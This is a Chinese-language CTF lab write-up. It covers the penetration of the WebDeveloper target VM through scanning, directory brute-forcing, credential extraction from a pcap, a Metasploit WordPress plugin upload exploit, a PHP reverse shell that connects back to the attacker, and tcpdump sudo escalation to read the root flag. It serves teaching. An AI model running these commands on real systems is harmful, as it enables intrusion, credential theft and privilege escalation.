网络渗透——CTF实践
這里寫目錄標題
- 實驗目的
- 實驗原理
- 什么是CTF
- CTF競賽模式
- CTF各大題型簡介
- 實驗步驟和內容
- 發現目標 (netdiscover),找到WebDeveloper的IP地址
- 查看目標主機端口開放、服務情況(NMAP掃描)
- 利用瀏覽器訪問目標網站
- whatweb探測目標網站使用的CMS模板
- wpscan功能
- Dirb 爆破網站目錄
- Wireshark分析該數據包,分析TCP數據流
- 利用上一步得到的信息進入網站后臺
- 利用該CMS存在的(插件Plugin)漏洞進行提權
- 其他方案
- SSH登錄服務器
- 實驗總結
實驗目的
通過對目標靶機的滲透過程,了解CTF競賽模式,理解CTF涵蓋的知識范圍,如MISC、PPC、WEB等,通過實踐,加強團隊協作能力,掌握初步CTF實戰能力及信息收集能力。熟悉網絡掃描、探測HTTP web服務、目錄枚舉、提權、圖像信息提取、密碼破解等相關工具的使用。
系統環境: Kali Linux 2、WebDeveloper靶機來源:
實驗工具: 不限
實驗原理
什么是CTF
CTF(Capture The Flag)中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式。CTF起源于1996年DEFCON全球黑客大會,以代替之前黑客們通過互相發起真實攻擊進行技術比拼的方式。發展至今,已經成為全球范圍網絡安全圈流行的競賽形式,2013年全球舉辦了超過五十場國際性CTF賽事。而DEFCON作為CTF賽制的發源地,DEFCON CTF也成為了目前全球最高技術水平和影響力的CTF競賽,類似于CTF賽場中的“世界杯”。
CTF競賽模式
- (1)解題模式(Jeopardy)在解題模式CTF賽制中,參賽隊伍可以通過互聯網或者現場網絡參與,這種模式的CTF競賽與ACM編程競賽、信息學奧賽比較類似,以解決網絡安全技術挑戰題目的分值和時間來排名,通常用于在線選拔賽。題目主要包含逆向、漏洞挖掘與利用、Web滲透、密碼、取證、隱寫、安全編程等類別。
- (2)攻防模式(Attack-Defense)在攻防模式CTF賽制中,參賽隊伍在網絡空間互相進行攻擊和防守,挖掘網絡服務漏洞并攻擊對手服務來得分,修補自身服務漏洞進行防御來避免丟分。攻防模式CTF賽制可以實時通過得分反映出比賽情況,最終也以得分直接分出勝負,是一種競爭激烈,具有很強觀賞性和高度透明性的網絡安全賽制。在這種賽制中,不僅僅是比參賽隊員的智力和技術,也比體力(因為比賽一般都會持續48小時及以上),同時也比團隊之間的分工配合與合作。
- (3)混合模式(Mix)結合了解題模式與攻防模式的CTF賽制,比如參賽隊伍通過解題可以獲取一些初始分數,然后通過攻防對抗進行得分增減的零和游戲,最終以得分高低分出勝負。采用混合模式CTF賽制的典型代表如iCTF國際CTF競賽。
CTF各大題型簡介
MISC(安全雜項)
全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數據分析、大數據統計等等,覆蓋面比較廣。我們平時看到的社工類題目;給你一個流量包讓你分析的題目;取證分析題目,都屬于這類題目。主要考查參賽選手的各種基礎綜合知識,考察范圍比較廣。
PPC(編程類)
全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現。算法的逆向編寫,批量處理等,有時候用編程去處理問題,會方便的多。當然PPC相比ACM來說,還是較為容易的。至于編程語言嘛,推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。
CRYPTO(密碼學)
全稱Cryptography。題目考察各種加解密技術,包括古典加密技術、現代加密技術甚至出題者自創加密技術。這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關知識點。
REVERSE(逆向)
題目涉及到軟件逆向、破解技術等,要求有較強的反匯編、反編譯扎實功底。需要掌握匯編,堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。
STEGA(隱寫)
全稱Steganography。題目的Flag會隱藏到圖片、音頻、視頻等各類數據載體中供參賽選手獲取。載體就是圖片、音頻、視頻等,可能是修改了這些載體來隱藏flag,也可能將flag隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強,才能發現。此類題目主要考查參賽選手的對各種隱寫工具、隱寫算法的熟悉程度。
PWN(溢出)
PWN在黑客俚語中代表著攻破,取得權限,在CTF比賽中它代表著溢出類的題目,其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中,線上比賽會有,但是比例不會太重,進入線下比賽,逆向和溢出則是戰隊實力的關鍵。主要考察參數選手漏洞挖掘和利用能力。
WEB(web類)
WEB應用在今天越來越廣泛,也是CTF奪旗競賽中的主要題型,題目涉及到常見的Web漏洞,諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目,至少會有一層的安全過濾,需要選手想辦法繞過。且Web題目是國內比較多也是大家比較喜歡的題目。因為大多數人開始安全都是從web*站開始的。
實驗步驟和內容
目的:獲取靶機Web Developer 文件/root/flag.txt中flag。
基本思路:本網段IP地址存活掃描(netdiscover);網絡掃描(Nmap);瀏覽HTTP 服務;網站目錄枚舉(Dirb);發現數據包文件 “cap”;分析 “cap” 文件,找到網站管理后臺賬號密碼;插件利用(有漏洞);利用漏洞獲得服務器賬號密碼;SSH 遠程登錄服務器;tcpdump另類應用。
發現目標 (netdiscover),找到WebDeveloper的IP地址
-
1.打開WebDeveloper和kali.
在kali找官網:nmcli device show eth0
(看IP4 GATEWAY):
-
2.nmap -v sn 官網地址(192.168.222.2)/24
找沒有host down的ip,即為WebDeveloper的IP地址
查看目標主機端口開放、服務情況(NMAP掃描)
- Kali掃描WebDeveloper的IP:nmap 192.168.222.135
可以看到開放了80端口和22端口,這兩個端口的作用分別是http端口(網頁)和ssh端口(遠程登陸)
利用瀏覽器訪問目標網站
由于目標主機提供了HTTP服務,網站開放了80端口,所以在kali的瀏覽器地址欄中登陸http端口
(直接輸入WebDeveloper的IP地址)
可以看見這是一個個人網站,應該是一個比較經典的CMS。
whatweb探測目標網站使用的CMS模板
在kali輸入whatweb 10.34.80.3進行檢測可得到如圖信息:
可看見,該網站的CMS為WordPress。
wpscan功能
WPScan是Kali Linux默認自帶的一款漏洞掃描工具,它采用Ruby編寫,能夠掃描WordPress網站中的多種安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主題漏洞。
Dirb 爆破網站目錄
Dirb 是一個專門用于爆破目錄的工具,在 Kali 中默認已經安裝,類似工具還有國外的patator,dirsearch,DirBuster, 國內的御劍)截圖。找到一個似乎和網絡流量有關的目錄(路徑)
1.在kali中輸入命令dirb http://192.168.222.135,結果如圖:
可看見一個ipdata,根據意思猜測其是流量消息,嘗試瀏覽器訪問看看:
發現有一個cap文件
Wireshark分析該數據包,分析TCP數據流
-
點擊圖中的analyze.cap下載,找到該文件然后拖進wireshark.
-
點擊搜索,輸入login(登錄),發現好東西啦!在藍色條條里可看見該網址
-
然后去瀏覽器輸入WebDeveloper的IP和/wp-login.php,即可看見登陸頁面
-
隨便輸入一個賬號和密碼,到Burp sure里找剛剛提交信息的地址:
找到后去Wireshark篩選http請求類型為post的請求,追蹤TCP流可得:
可見賬號為webdeveloper,密碼為Te5eQg%264sBS%2lYr%24%29wf%25%28DcAd
利用上一步得到的信息進入網站后臺
我們將改賬號密碼復制到Burp sure,把原來的改成這個。最后去瀏覽器刷新即可成功進入網站后臺!
利用該CMS存在的(插件Plugin)漏洞進行提權
方案1:利用MeterSploit插件+reflex gallery插件漏洞實現。安裝reflex gallery插件。利用該插件可能存在的漏洞
-
1.給這個wordpress安裝reflex gallery插件;
點擊頁面的plugins,下載reflex-gallery,放到kali中,點擊add new,點擊upload plugin
-
2.安裝成功后去激活。如圖即為成功:
-
3.接下來在kali使用msf來控制漏洞:
- 先輸入msfconsole打開msf
- 第二次輸入use exploit/unix/webapp/wp_reflexgallery_file_upload
- 第三次輸入 set rhosts WebDeveloper的IP
- 第四次輸入 exploit
出現meterpreter>說明可以控制啦!
- 4.輸入Linux命令來查看一些文件:meterpreter> ls
- 5.回退到/var/www/html之后可以看到wp-config.php
- 6.找到一行有wp-config.php,查看里面的內容:kali輸入meterpreter > cat wp-config.php
- 7.在瀏覽器中輸入:WebDeveloper的IP/wp-config.php即可找到數據庫的用戶和密碼
其他方案
方案2:上傳反彈shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
【目的:PHP網站滲透;實現途徑:上傳網站后,URL訪問(含有)該反彈shell的頁面。
功能:該腳本會發起反彈TCP連接到攻擊者(腳本中指定攻擊者IP地址和端口號)。】
該CMS為PHP開發,可以利用其實現反彈shell。但必須修改初始化IP地址和端口。(指向攻擊者)。
- 進入后臺,找到任意一個PHP頁面,然后利用php-reverse-shell.PHP的代碼修改該頁面的代碼。
- 修改代碼中反彈目標的IP地址及端口(修改為攻擊者IP地址及開放的端口號)。
- 首先需要點擊右欄的404 Tamplate把這里的theme給修改為Twenty Sixteen然后點擊Select。
- 然后將php文件復制粘貼過來,記得upload!
- 在Kali中利用NC開始監聽,瀏覽器訪問修改的PHP頁面。從而得到反彈shell(用戶www-data)。建立會話后,查看wp-config.php獲得賬號及口令。(注意路徑)
方案3:利用文件管理插件(File manager)漏洞 - 安裝該插件,直接可以瀏覽wp-config.php
SSH登錄服務器
(嘗試利用上一步獲得的訪問數據庫的用戶名和密碼連接遠程服務器)
- kali訪問不了,需要我們修改配置文件
- kali 輸入sudo vim /etc/ssh/ssh_config打開該文件
- 將里面的 # StrictHostKeyChecking ask改成StrictHostKeyChecking no
- 保存退出
- 最后在kali輸入ssh webdeveloper@192.168.222.135便能成功登進去啦
- 嘗試查看,輸入cat /root/flag.txt
權限不足,均無法查看。
- 使用tcpdump執行任意命令(當tcpdump捕獲到數據包后會執行指定的命令。)
查看當前身份可執行的命令。
- 發現可以root權限執行tcpdump命令:
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
其中:
創建攻擊文件:touch /tmp/exploit1
寫入shellcode:echo 'cat /root/flag.txt' > /tmp/exploit
賦予可執行權限:chmod +x /tmp/exploit
實驗總結
通過這次實驗學到了很多。比如:
1.怎么獲取靶機Web Developer 文件/root/flag.txt中flag。
2.以及通過Kali的命令Dirb 爆破網站目錄找到cap文件和怎么通過Wireshark、Burp sure分析 “cap” 文件,找到網站管理后臺賬號密碼。3.怎么利用漏洞和在kali使用msf來控制漏洞來獲得服務器的賬號密碼。
真的是越學習 收獲越多 越有墨水!
總結
以上是生活随笔為你收集整理的网络渗透——CTF实践的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ue4中隐藏灯光和相机图标_[HDRP]
- 下一篇: 为什么区分LHS和RHS?